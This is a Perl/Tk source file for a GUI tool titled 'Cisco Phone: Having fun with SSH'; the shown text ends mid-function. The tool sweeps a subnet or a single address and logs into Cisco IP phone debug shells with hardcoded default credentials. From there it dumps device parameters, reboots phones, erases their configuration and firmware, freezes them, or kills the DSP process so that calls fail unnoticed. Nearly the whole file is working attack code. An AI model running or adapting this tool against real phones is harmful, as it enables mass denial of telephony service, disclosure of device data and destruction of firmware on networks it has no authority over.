# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------
# STEP TO RESPECT TO BE COMPLETE
#
# OK/NOK- Present script test and completed (include explanation)
# OK/NOK- Launcher tool/exploit menu modified
# OK/NOK- Launcher editor menu modified
# OK/NOK- Documentation uadated
#
# --------------------------------------------------------


use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Tk::Photo;
use Tk::JPEG;
use Tk::NoteBook;
use Tk::ProgressBar;
use LWP::UserAgent;
use HTTP::Request;
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;
use Net::SSH::Expect;

# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

# Variable
my $ScanType = "single";
my $IpAddress = "";
my $IpAddress_single = "";
my $IpAddress_sub = "";
my $SubnetToScan = "";
my $Results = "";

#my @SupportedPhone = ("79XX","89XX","99XX");
my @SupportedPhone = ("69XX","79XX","89XX","99XX");
my $Select="";#Provide de selected ip phone serie.

my @SupportedFunction69XX = (
							"Reboot IP Phone 69XX",
							"Show all IP phone parameters 69XX"
							);

my @SupportedFunction79XX = (
							"Show all IP phone parameters 79XX",
							"Freeze totally IP Phone",
							"Block DSP - no audio functions",
							);

my @SupportedFunction89XX = (
							"Reboot IP Phone 89XX & 99XX",
							"Show all IP phone parameters 89XX & 99XX",
							"Erase IP Phone configuration and firmware 89XX & 99XX"
							);

my @SupportedFunction99XX = (
							"Reboot IP Phone 89XX & 99XX",
							"Show all IP phone parameters 89XX & 99XX",
							"Erase IP Phone configuration and firmware 89XX & 99XX"
							);

# Your phone SSH Username, as set in the phone SEP.cnf.xml file
my $sshusername = "";
# Your phone SSH Password, as set in the phone SEP.cnf.xml file
my $sshpassword = "";
# The phone Debug shell login prompt, should not need to be changed
#my $promptlogin = "login: ";
# The phone Debug shell username, should not need to be changed
my $secondusername = "debug";
#my $secondusername = "default";

# The phone Debug shell password, should not need to be changed
my $secondpassword = "debug";
#my $secondpassword = "user";

# The Cisco CP-9971 Debug shell prompt, should not need to be changed
#my $debugprompt = "DEBUG> ";
# Cisco Reset Command
# Use either "reset hard", "reset soft" or "reset factory"
my $command = "show tech";
#my $command = "kill -15 25";

# 25 = dsp
#  23  0.0  0.2    77 12:33PM     run   0.00  0 default   /bin/ntp
#  24  0.0  0.2    64 12:33PM     run   0.18  0 default   /ubin/vieo
#  21  0.0  0.3   113 12:33PM     run   0.11  0 default   /bin/tftpClient
#   7  4.6 57.3 17857 12:33PM     run 315.85  0 default   /tmp/sunvm.unzip/sunvm.cnu
# 10  0.0  0.6   209 02:22PM     run   0.02  0 default   /bin/sh
#   4 33.3  0.2    85 02:27PM     run   0.02  0 default   /bin/ps

# Timeout for the SSH login
# My phone takes around 15 seconds to provide the SSH password prompt, ensure the timeout value below is set accordingly
# An insufficient timeout value will cause a script error such as, "SSHAuthenticationError Login timed out" to be displayed
# A too long timeout will also cause SSHProcessErrors, I would recommend the default setting of 15 is maintained for stability
my $timeoutvalue = "15";





my @colors = (  0, '#ff002a',  1, '#ff0014',  2, '#ff000a',  3, '#ff0500',  4, '#ff1000',
	     5, '#ff1b00',  6, '#ff3000',  7, '#ff3b00',  8, '#ff4600',  9, '#ff5100',
	    10, '#ff6100', 11, '#ff7600', 12, '#ff8100', 13, '#ff8c00', 14, '#ff9700',
	    15, '#ffa100', 16, '#ffbc00', 17, '#ffc700', 18, '#ffd200', 19, '#ffdd00',
	    20, '#ffe700', 21, '#fffd00', 22, '#f0ff00', 23, '#e5ff00', 24, '#dbff00',
	    25, '#d0ff00', 26, '#baff00', 27, '#afff00', 28, '#9fff00', 29, '#95ff00',
	    30, '#8aff00', 31, '#74ff00', 32, '#6aff00', 33, '#5fff00', 34, '#54ff00',
	    35, '#44ff00', 36, '#2eff00', 37, '#24ff00', 38, '#19ff00', 39, '#0eff00',
	    40, '#03ff00', 41, '#00ff17', 42, '#00ff21', 43, '#00ff2c', 44, '#00ff37',
	    45, '#00ff42', 46, '#00ff57', 47, '#00ff67', 48, '#00ff72', 49, '#00ff7d',
	    50, '#00ff87', 51, '#00ff9d', 52, '#00ffa8', 53, '#00ffb8', 54, '#00ffc3',
	    55, '#00ffcd', 56, '#00ffe3', 57, '#00ffee', 58, '#00fff8', 59, '#00faff',
	    60, '#00eaff', 61, '#00d4ff', 62, '#00c9ff', 63, '#00bfff', 64, '#00b4ff',
	    65, '#00a9ff', 66, '#008eff', 67, '#0083ff', 68, '#0079ff', 69, '#006eff',
	    70, '#0063ff', 71, '#004eff', 72, '#003eff', 73, '#0033ff', 74, '#0028ff',
	    75, '#001dff', 76, '#0008ff', 77, '#0200ff', 78, '#1200ff', 79, '#1d00ff',
	    80, '#2800ff', 81, '#3d00ff', 82, '#4800ff', 83, '#5300ff', 84, '#5d00ff',
	    85, '#6e00ff', 86, '#8300ff', 87, '#8e00ff', 88, '#9900ff', 89, '#a300ff',
	    90, '#ae00ff', 91, '#c900ff', 92, '#d400ff', 93, '#df00ff', 94, '#e900ff',
	    95, '#f400ff', 96, '#ff00f3', 97, '#ff00e3', 98, '#ff00d9', 99, '#ff00ce' );

	
my $subweb_mw = MainWindow->new(
						-title => 'Cisco Phone: Having fun with SSH');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub {&LAUNCH}
		);

$file_mb->command(
			-label=>"Save scan results",
			-command => sub {&SAVERESULTS}
			);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		#------------- Button menu --------------
my $FrameButton = $subweb_mw -> Frame ();

my $ImageDetail = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_oeil.jpg",
									 );									 
my $ImageLaunch = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_launch.jpg",
									 );									 
my $ImageSave = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_save.jpg",
									 );		
my $ImageExit = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_exit.jpg",
									 );	
									 									 									 
my $ButtonDetail = $FrameButton->Button (
    								-image => $ImageDetail, 
								    -command => sub {&EXPLANATION}
									)->pack(-side => 'left');
my $ButtonLaunch = $FrameButton->Button (
    								-image => $ImageLaunch, 
								    -command => sub {&LAUNCH}
									)->pack(-side => 'left');
my $ButtonSave = $FrameButton->Button (
    								-image => $ImageSave, 
								    -command => sub {&SAVERESULTS}
									)->pack(-side => 'left');
my $ButtonExit = $FrameButton->Button (
    								-image => $ImageExit, 
								    -command => [$subweb_mw => 'destroy']
									)->pack(-side => 'right');									
																		
$FrameButton -> pack (-side => 'top', -anchor => 'w'); 	

#---------- LABEL FRAME CONFIGURE -------------------------------------
my $labeled_frame = $subweb_mw ->LabFrame(
										-label => "Configure",
                                   		-labelside => "acrosstop"
                                   		)->pack(-side => 'top', -anchor => 'w');

#----------	IMAGE CROSS --------

my $FrameTOPsubmain = $labeled_frame -> Frame ();
my $FrameTOPsub1 = $FrameTOPsubmain-> Frame ();

my $ImageCross = $FrameTOPsub1->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_cross.jpg",
									 );
$FrameTOPsub1->Label(
				-image => $ImageCross,
				-borderwidth => 2,
		        -relief      => 'sunken',
		             )->pack(-side => 'left');
		             
my $FrameTOPsub2 = $FrameTOPsubmain-> Frame ();	
	             
my $FrameMIDDLE9 = $FrameTOPsub2-> Frame ();

$FrameMIDDLE9->Label(
	-text => 'IP Phone SSH login:            '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE9 -> Entry(
	-textvariable => \$sshusername,
	- width => 54,
	)->pack(-side => 'left');
	
$FrameMIDDLE9 -> pack (-side => 'top', -anchor => 'w');


my $FrameMIDDLE10 = $FrameTOPsub2 -> Frame ();
$FrameMIDDLE10->Label(
	-text => 'IP Phone SSH password:    '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE10 -> Entry(
	-textvariable => \$sshpassword,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE10 -> pack (-side => 'top', -anchor => 'w');

$FrameTOPsub1 -> pack (-side => 'left', -anchor => 'w');
$FrameTOPsub2 -> pack (-side => 'left', -anchor => 'w');
$FrameTOPsubmain -> pack (-side => 'top', -anchor => 'w');
#----------
my $FrameTOP = $labeled_frame -> Frame ();
my $rdb_scan = $FrameTOP  -> Radiobutton(-text=>"Subnet (192.168.1.0/24):            ",
												-value=>"scan",
												-variable=>\$ScanType);
$rdb_scan -> pack (-side => 'left');
my $TextLabel = $FrameTOP -> Entry(
	-textvariable => \$SubnetToScan,
	- width => 50,
	)->pack(-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE2 = $labeled_frame -> Frame ();
my $rdb_single = $FrameMIDDLE2 -> Radiobutton(-text=>"IP Phone address (192.168.1.1): ",  
												-value=>"single",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
my $TextLabel_single = $FrameMIDDLE2 -> Entry(
	-textvariable => \$IpAddress_single,
	- width => 50,
	)->pack(-side => 'left');
$FrameMIDDLE2 -> pack (-side => 'top', -anchor => 'w');
#-------------DEFAULT WIDTH 79 --------------
my $FrameMiddle = $labeled_frame -> Frame ();
$FrameMiddle->Label(
	-text => 'Select IP Phone serie:               '
	)->pack(-side => 'left');
my $LboxSerie = $FrameMiddle -> Listbox (
	-height  => 2,
	-selectmode => 'single',
	);	
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');
$LboxSerie->insert('end', @SupportedPhone );
$LboxSerie->selectionSet(1);

my $scroll = $FrameMiddle->Scrollbar(-command => ['yview', $LboxSerie]);
$LboxSerie->configure(-yscrollcommand => ['set', $scroll]);
$LboxSerie->pack(-side => 'left', -fill => 'both');
$scroll->pack(-side => 'left', -fill => 'y');
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');

my $ImageSelect = $FrameMiddle->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_select.jpg",
									 );		
my $ButtonDetail = $FrameMiddle->Button (
    								-image => $ImageSelect, 
								    -command => sub {&UPDATEFUNCTIONBOX}
									)->pack(-side => 'left');
#----------	
my $FrameLast = $labeled_frame -> Frame ();
$FrameLast->Label(
	-text => 'Select function to apply:           '
	)->pack(-side => 'left');
my $LboxFunction = $FrameLast -> Listbox (
	-height  => 2,
	- width => 51,
	-selectmode => 'single',
	);	
$FrameLast -> pack (-side => 'top', -anchor => 'w');
$LboxFunction->insert('end',  );
$LboxFunction->selectionSet(1);

my $scrollFunction = $FrameLast->Scrollbar(-command => ['yview', $LboxFunction]);
$LboxFunction->configure(-yscrollcommand => ['set', $scrollFunction]);
$LboxFunction->pack(-side => 'left', -fill => 'both');
$scrollFunction->pack(-side => 'left', -fill => 'y');
$FrameLast -> pack (-side => 'top', -anchor => 'w');


#-------------PROGRESS BAR ----------------------------

$bar1 = $subweb_mw->ProgressBar( -borderwidth=>2, -blocks=>100, -gap=>0,
			  -troughcolor=>'white',-colors=>\@colors,
			  -length=>106 )->pack( -padx=>5, -pady=>5, -fill=>'x' );
#$bar1->value( 100 - $val );


#------------- TAB BOOK -------------------------------

my $FrameTab= $subweb_mw -> Frame (-width => 40, -height => 20);
my $book = $FrameTab->NoteBook()->pack( -fill=>'both', -expand=>1 );

$tab1 = $book->add( "Sheet 1", -label=>"Details");
$tab2 = $book->add( "Sheet 2", -label=>"Positive results" );
$tab3 = $book->add( "Sheet 3", -label=>"All logs");
$book->raise("Sheet 1");

my $TextWidget_tab1 = $tab1->Text(); 
$TextWidget_tab1 ->configure(-height => 28);
my $scrollbar_tab1 = $tab1 ->Scrollbar(-command => ['yview', $TextWidget_tab1 ]);
$TextWidget_tab1 ->configure(-yscrollcommand => ['set', $scrollbar_tab1]);

my $TextWidget_tab2 = $tab2->Text(); 
$TextWidget_tab2 ->configure(-height => 28);
my $scrollbar_tab2 = $tab2 ->Scrollbar(-command => ['yview', $TextWidget_tab2 ]);
$TextWidget_tab2 ->configure(-yscrollcommand => ['set', $scrollbar_tab2]);

my $TextWidget_tab3 = $tab3->Text(); 
$TextWidget_tab3 ->configure(-height => 28);
my $scrollbar_tab3 = $tab3 ->Scrollbar(-command => ['yview', $TextWidget_tab3 ]);
$TextWidget_tab3 ->configure(-yscrollcommand => ['set', $scrollbar_tab3]);


$TextWidget_tab1 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab2 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab3 ->pack(-side => 'left', -fill => 'both', -expand => 1);

$scrollbar_tab1->pack(-side => 'right', -fill => 'y');
$scrollbar_tab2->pack(-side => 'right', -fill => 'y');
$scrollbar_tab3->pack(-side => 'right', -fill => 'y');

$FrameTab -> pack (-side => 'top', -anchor => 'w');

#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub LAUNCH
{
	# variable initialization
	$Results = "";
	$TextWidget_tab3 -> delete('0.0', 'end');
	$TextWidget_tab2 -> delete('0.0', 'end');
	$bar1->value(0);
	$book->raise("Sheet 3");

	if ($ScanType =~ /single/)
	{
		&SINGLE;	
	}
	elsif ($ScanType =~ /scan/)
	{
		&EXPLOITSUBNET;
	}
}

sub EXPLOITSUBNET
{
	# Subnet testing

	if ($SubnetToScan =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/[0-9]{1,2}/)
	{		
		$IpAddress_sub = $SubnetToScan;	

		&TESTDEFAULT;
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}


sub SINGLE
{
	# Subnet testing
	
	if ($IpAddress_single =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		$IpAddress_sub=$IpAddress_single."/32";
		
		&TESTDEFAULT;
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}
sub UPDATEFUNCTIONBOX
{
	my @indexSerie = $LboxSerie->curselection();
	$Select=@SupportedPhone[@indexSerie];

	if ($Select=~ /79XX/)
	{
		$LboxFunction->delete(0,end);
		$LboxFunction->insert('end',@SupportedFunction79XX);
		$LboxFunction->update;
	}			
	elsif ($Select=~ /89XX/)
	{
		$LboxFunction->delete(0,end);
		$LboxFunction->insert('end',@SupportedFunction89XX);
		$LboxFunction->update;
	}	
	elsif ($Select=~ /99XX/)
	{
		$LboxFunction->delete(0,end);
		$LboxFunction->insert('end',@SupportedFunction99XX);
		$LboxFunction->update;
	}

	elsif ($Select=~ /69XX/)
	{
		$LboxFunction->delete(0,end);
		$LboxFunction->insert('end',@SupportedFunction69XX);
		$LboxFunction->update;
	}
	
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	


sub TESTDEFAULT
{
		# Subnet calculation and detail stuff
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$IpAddress_sub );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );# Creating a table with all the IP Address.

		# Progres bar stuff		
		my $counter_global = 0;#Used for progress bar measure
		my $counter_temp = 0;#Used for progress bar status
		my $percentage = 0;#Used for progress bar status
		
		# Identify which function to test <=> which routine to launch.
		my $SelectFunction="";		

		# Calcultaion of the number of case to properly set the progress bar.
		foreach my $scan_count ( @{ $listref } ) 
		{
			$counter_global++;	
		}
		
		
		#----------------------------------------------------------------------
		# LAUNCHING OF THE EXPLOIT/TOOL. GUI HANDLING 
		#----------------------------------------------------------------------				
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab3 -> insert ("end","Having fun with SSH tool launching\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab2 -> insert ("end","Having fun with SSH tool launching\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Having fun with SSH tool launching\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		
		# END -----------------------------------------------------------------
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;	
			
			#$counter_temp is used for progress bar.	
			$counter_temp++;
			
			if ($p->ping($IpAddress)) 
			{	
				my @indexFunction = $LboxFunction->curselection();
				
				if ($Select =~ /69XX/)
				{
					$SelectFunction = @SupportedFunction69XX[@indexFunction];
				}	
				elsif ($Select =~ /79XX/)
				{
					$SelectFunction = @SupportedFunction79XX[@indexFunction];
				}										
				elsif ($Select =~ /89XX/)
				{
					$SelectFunction = @SupportedFunction89XX[@indexFunction];
				}
				elsif ($Select =~ /99XX/)
				{
					$SelectFunction = @SupportedFunction99XX[@indexFunction];
				}
																
				if ($SelectFunction =~ /Reboot IP Phone 69XX/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Reboot IP Phone - tentative\n");
					$Results = $Results."$IpAddress: Reboot IP Phone\n";
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&REBOOT69;
				}
				elsif ($SelectFunction =~ /Show all IP phone parameters 69XX/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Show all IP phone parameters - tentative\n");
					$Results = $Results."$IpAddress: Show all IP phone parameters\n";
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&SHOWTECH69;
				}			
				#tool selection
				if ($SelectFunction =~ /Show all IP phone parameters 79XX/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Show all IP phone parameters - tentative\n");
					$Results = $Results."$IpAddress: Show all IP phone parameters\n";
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&SHOWTECH79;
				}
				elsif ($SelectFunction =~ /Freeze totally IP Phone/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Trying to freeze totally IP Phone - tentative\n");
					$Results = $Results."$IpAddress: Trying to freeze totally IP Phone\n";
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&KILLSUNVM79;
				}
				elsif ($SelectFunction =~ /Block DSP - no audio functions/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Block DSP - no audio functions - tentative\n");
					$Results = $Results."$IpAddress: Block DSP - no audio functions\n";					
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&KILLDSP79;
				}
				elsif ($SelectFunction =~ /Reboot IP Phone 89XX & 99XX/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Reboot IP Phone - tentative\n");
					$Results = $Results."$IpAddress: Reboot IP Phone\n";					
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&REBOOT99;
				}	
				elsif ($SelectFunction =~ /Show all IP phone parameters 89XX & 99XX/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Show all IP phone parameters - tentative\n");
					$Results = $Results."$IpAddress: Show all IP phone parameters\n";					
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&SHOWTECH99;
				}	
				elsif ($SelectFunction =~ /Erase IP Phone configuration/)
				{
					$TextWidget_tab3 -> insert ("end","$IpAddress: Show all IP phone parameters - tentative\n");
					$Results = $Results."$IpAddress: Show all IP phone parameters\n";					
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					&ERASE99;
				}					
	    	}
	    	else
	    	{
				$TextWidget_tab3 -> insert ("end", "$IpAddress: Unable to ping Phone Ip address\n");
				$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget_tab3  -> update ();	
				$TextWidget_tab3  -> see ('end');	    	
				$Results = $Results."$IpAddress: Unable to ping Phone Ip address\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}
			
			#----------------------------------------------------------------------
			# PROGRESS BAR UPDATE
	    	#----------------------------------------------------------------------
	    	$percentage = int (($counter_temp/$counter_global)*100);
	    	$bar1->value($percentage);
	    	
	    }
		#----------------------------------------------------------------------
	    #END OF TEST. GUI HANDLING
	    #----------------------------------------------------------------------
	    $TextWidget_tab3 -> insert ("end","END\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

		$TextWidget_tab2 -> insert ("end", "END\n");			
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
}

sub SHOWTECH79
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{
	        		
		$ssh->send("debug");							
		$ssh->waitfor('password:\s*');
		$ssh->send("debug");
				
		$TextWidget_tab3 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');	
		$TextWidget_tab2 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');	

	    $Results = $Results."$IpAddress: Output result\n";	
			    		
		
		# When running a command that causes a huge output,
	    # lets get the output line by line:
	    $ssh->send("show tech");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab2 -> insert ("end","$line\n");
			$Results = $Results."$line\n";	
	    }    

	    $ssh->close();
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');				    
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');		
		$Results = $Results."-------------------------------------------------------------------------------\n";				

	}
}

sub KILLDSP79
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{
		$ssh->send("default");			
		$ssh->waitfor('password:\s*');
		$ssh->send("user");
	
		$TextWidget_tab3 -> insert ("end","$IpAddress: killing dsp process\n");
	    $Results = $Results."$IpAddress: killing dsp process\n";	
	    		
	    $ssh->exec("kill -15 25"); 

	    $ssh->close();
	
	   	$TextWidget_tab3 -> insert ("end","$IpAddress: DSP process has been killed. IP Phone is now unable to pass a call. This is transparent for user until he tries something that demand a DSP work.\n");
	   	$TextWidget_tab3 -> insert ("end","$IpAddress: Reboot ip phone to suppress the issue.\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');			   	
	   	
	   	$TextWidget_tab2 -> insert ("end","$IpAddress: DSP process has been killed. IP Phone is now unable to pass a call. This is transparent for user until he tries something that demand a DSP work.\n");
	   	$TextWidget_tab2 -> insert ("end","$IpAddress: Reboot ip phone to suppress the issue.\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');			   	
	   	
	   	$Results = $Results."$IpAddress: DSP process has been killed. IP Phone is now unable to pass a call. This is transparent for user until he tries something that demand a DSP work.\n";	
	   	$Results = $Results."$IpAddress: Reboot ip phone to suppress the issue.\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";		    
				
	}	
}

sub KILLSUNVM79
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{
		$ssh->send("default");			
		$ssh->waitfor('password:\s*');
		$ssh->send("user");
	
		$TextWidget_tab3 -> insert ("end","$IpAddress: killing sunvm process\n");
		
		$TextWidget_tab2 -> insert ("end","$IpAddress: killing sunvm process\n");
	    
	    $Results = $Results."$IpAddress: killing sunvm process\n";	
	    		
	    $ssh->exec("kill -15 7");  

	    $ssh->close();
	    	
	   	$TextWidget_tab3 -> insert ("end","$IpAddress: IP Phone is freezed. The user should be unable to do anything.\n");
	   	$TextWidget_tab3 -> insert ("end","$IpAddress: Reboot ip phone to suppress the issue.\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		
	   	$TextWidget_tab2 -> insert ("end","$IpAddress: IP Phone is freezed. The user should be unable to do anything.\n");
	   	$TextWidget_tab2 -> insert ("end","$IpAddress: Reboot ip phone to suppress the issue.\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
			   	
	   	$Results = $Results."$IpAddress:  IP Phone is freezed. The user is unable to do anything.\n";	
	   	$Results = $Results."$IpAddress: Reboot ip phone to suppress the issue.\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";					    
		
	}	
}

#69XX -----------------------------------------------------------------------------------------
#VX Work -> login "admin" pasword ""
# reboot -> redémarre l'ensemble
# show net_cfg
# show phone_load
# show phone_info
# show version
# vlan debug show


sub SHOWTECH69
{
	my $ssh = Net::SSH::Expect->new (
								host => $IpAddress, 
								password=> $sshpassword, 
								user => $sshusername, 
					        	timeout => $timeoutvalue,
								raw_pty => 1,
								);

	$login_output = $ssh->login();

	if ($login_output !~ /login/)
	{
		$TextWidget_tab3 -> insert ("end","$IpAddress: Unable to connect to SSH server\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		
		$Results = $Results."$IpAddress: Unable to connect to SSH server\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	
	}
	else
	{
	        		
		$ssh->send("admin");	
		
		$ssh->waitfor('Password:');

#		$ssh->waitfor('Password:\s*');
#		$ssh->send("\\"); "\x{00}"
		$ssh->send("\x{00}");
						
		$TextWidget_tab3 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');
		
		$TextWidget_tab2 -> insert ("end","$IpAddress: Output result\n");
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
				
	    $Results = $Results."$IpAddress: Output result\n";	
				    		
		
		# When running a command that causes a huge output,
	    # lets get the output line by line:
	    $ssh->send("show net_cfg");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
			$TextWidget_tab3  -> update ();	
			$TextWidget_tab3  -> see ('end');
		
	    	$TextWidget_tab2 -> insert ("end","$line\n");
	    	$TextWidget_tab2  -> update ();	
			$TextWidget_tab2  -> see ('end');
		
			$Results = $Results."$line\n";
	    }    
	    $ssh->send("show phone_load");   # using send() instead of exec()
	    my $line;
	    # returns the next line, removing it from the input stream:
	    while ( defined ($line = $ssh->read_line()) ) 
	    {
	    	$TextWidget_tab3 -> insert ("end","$line\n");
	    	$TextWidget_tab3  -> update ();	
